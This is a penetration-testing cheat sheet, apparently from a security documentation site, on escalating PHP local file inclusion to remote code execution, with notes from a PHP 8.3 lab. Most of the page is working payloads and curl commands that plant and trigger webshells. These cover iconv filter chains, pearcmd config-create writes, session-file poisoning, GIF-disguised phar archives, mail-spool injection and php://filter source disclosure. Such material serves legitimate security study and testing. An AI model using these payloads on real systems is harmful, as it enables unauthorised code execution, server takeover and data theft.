> For the complete documentation index, see [llms.txt](https://www.pwny.cc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pwny.cc/web-attacks/local-file-inclusion-lfi/lfi-to-rce.md). Agents can also search and read this documentation through its [MCP server](https://www.pwny.cc/~gitbook/mcp).

# LFI to RCE

## Tested on PHP 8.3

{% hint style="info" %}
Reproduced in a lab on the official `php:8.3-apache` image (PHP 8.3.37, default configuration) with two vulnerable scripts: `include($_GET["page"])` and `include($_GET["page"] . ".php")`. The rest of the page is the older collection, the techniques from it and from the bypass page that failed in the lab are listed at the end of this section.
{% endhint %}

### PHP filter chain (nothing written to disk)

A chain of `convert.iconv` filters builds arbitrary PHP code out of an empty stream, so the include executes code without any upload, log or session. Works with and without a forced `.php` suffix.

```bash
#Generate the chain (5216 characters for this payload)
git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET[0]); ?>'

#Send it as the included path, URL encoded, with the command in parameter 0
curl -s -G 'http://target/index.php' --data-urlencode "page=$(cat chain.txt)" --data-urlencode '0=id'
```

### pearcmd.php

`pearcmd.php` ships with the official PHP Docker images, and `register_argc_argv` is on when there is no `php.ini`. Including it lets the query string act as command line arguments, and `config-create` writes a file with your content.

```bash
#1. Write /tmp/pear.php (use -g so curl does not interpret the brackets)
curl -s -g 'http://target/index.php?+config-create+/&page=/usr/local/lib/php/pearcmd.php&/<?=system($_GET[0])?>+/tmp/pear.php'
#Successfully created default configuration file "/tmp/pear.php"

#2. Include it
curl -s -g 'http://target/index.php?page=/tmp/pear.php&0=id'

#With a forced .php suffix: drop the extension in both steps
curl -s -g 'http://target/suffix.php?+config-create+/&page=/usr/local/lib/php/pearcmd&/<?=system($_GET[0])?>+/tmp/pear2.php'
curl -s -g 'http://target/suffix.php?page=/tmp/pear2&0=id'
```

### Session file

```bash
#A value you control is stored in the session, then the session file is included
curl -s -c cj 'http://target/login.php?u=%3C%3Fphp%20system(%27id%27)%3B%3F%3E'
curl -s 'http://target/index.php?page=/tmp/sess_<PHPSESSID>'
```

The session files were in `/tmp/sess_<id>` (empty `session.save_path`), not in `/var/lib/php5/`.

### phar:// with an uploaded file of any extension

```bash
#Build a phar that starts with GIF magic bytes and contains rce.php
php -d phar.readonly=0 -r '$p=new Phar("a.phar"); $p->startBuffering(); $p->addFromString("rce.php","<?php system(\"id\");"); $p->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $p->stopBuffering(); rename("a.phar","avatar.gif");'

#Upload avatar.gif, then
http://target/index.php?page=phar:///path/to/avatar.gif/rce.php
#With a forced .php suffix
http://target/suffix.php?page=phar:///path/to/avatar.gif/rce
```

### Source code read

```bash
http://target/index.php?page=php://filter/convert.base64-encode/resource=config.php
#With a forced .php suffix
http://target/suffix.php?page=php://filter/convert.base64-encode/resource=config
```

### Failed in the lab

* Null byte (`/etc/passwd%00`) and path truncation (`/etc/passwd/./././.` repeated 2100 times) against the `.php` suffix.
* `data://` (`wrapper is disabled in the server configuration`, needs `allow_url_include=On`) and `php://input`.
* `expect://` and `zip://`: the wrappers do not exist in the default image (extensions not installed).
* `/proc/self/environ` (`Permission denied`).
* Apache log poisoning: in this image the logs are symlinks to stdout, there is no log file to include. Not a statement about other setups.
* `PHP_SESSION_UPLOAD_PROGRESS` race: no hit in 400 attempts (`session.upload_progress.enabled` reported 0 in this image).

### Php sessions method <a href="#php-sessions-method" id="php-sessions-method"></a>

```bash
#Check if the website use PHP
SESSIDSet-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Tue, 30-Jun-2020 10:25:29 GMT; path=/; httponly

​#In php sessions are store into /var/lib/php5/sess_PHPSESSID files
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";​

#Set the cookie to <?php system("whoami"); ?>
login=1&user=<?php system("whoami");?>&pass=password&lang=en_us.php​

#Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2​
```

### Email method <a href="#email-method" id="email-method"></a>

```bash
#Send a mail to internal account (user@localhost) containing:
<?php echo system($_REQUEST["cmd"]); ?>
#Access to the mail (/var/mail/USER&cmd=whoami)
```

### /proc/\*/fd/\* method <a href="#proc-fd-method" id="proc-fd-method"></a>

```bash
#Upload a lot of shells
http://web.com/index.php?page=/proc/$PID/fd/$FD
#$PID = PID of the proccess (can be bruteforced)
#$FD = filedescriptor (can be bruteforced)
```

### Ssh method <a href="#ssh-method" id="ssh-method"></a>

```bash
#Check which user is being used (/proc/self/status - /etc/passwd)
/home/hax0r/.ssh/id_rsa #hax0r = User is being used
```

### Using a zip upload <a href="#phpinfo-method" id="phpinfo-method"></a>

```
1. Create a .php file (rce.php)
2. Compress it to a .zip file (file.zip)
3. Upload your .zip file on the vulnerable web application
4. Trigger the RCE:
https://site.com/index.php?page=zip://path/file.zip%23rce.php
```

### Phpinfo() method <a href="#phpinfo-method" id="phpinfo-method"></a>

To exploit this you need: page where phpinfo() is displayed, "file\_uploads=on" and the server has to be able to write in "/tmp" directory.

{% embed url="<https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py>" %}
Script to exploit Phpinfo() method
{% endembed %}
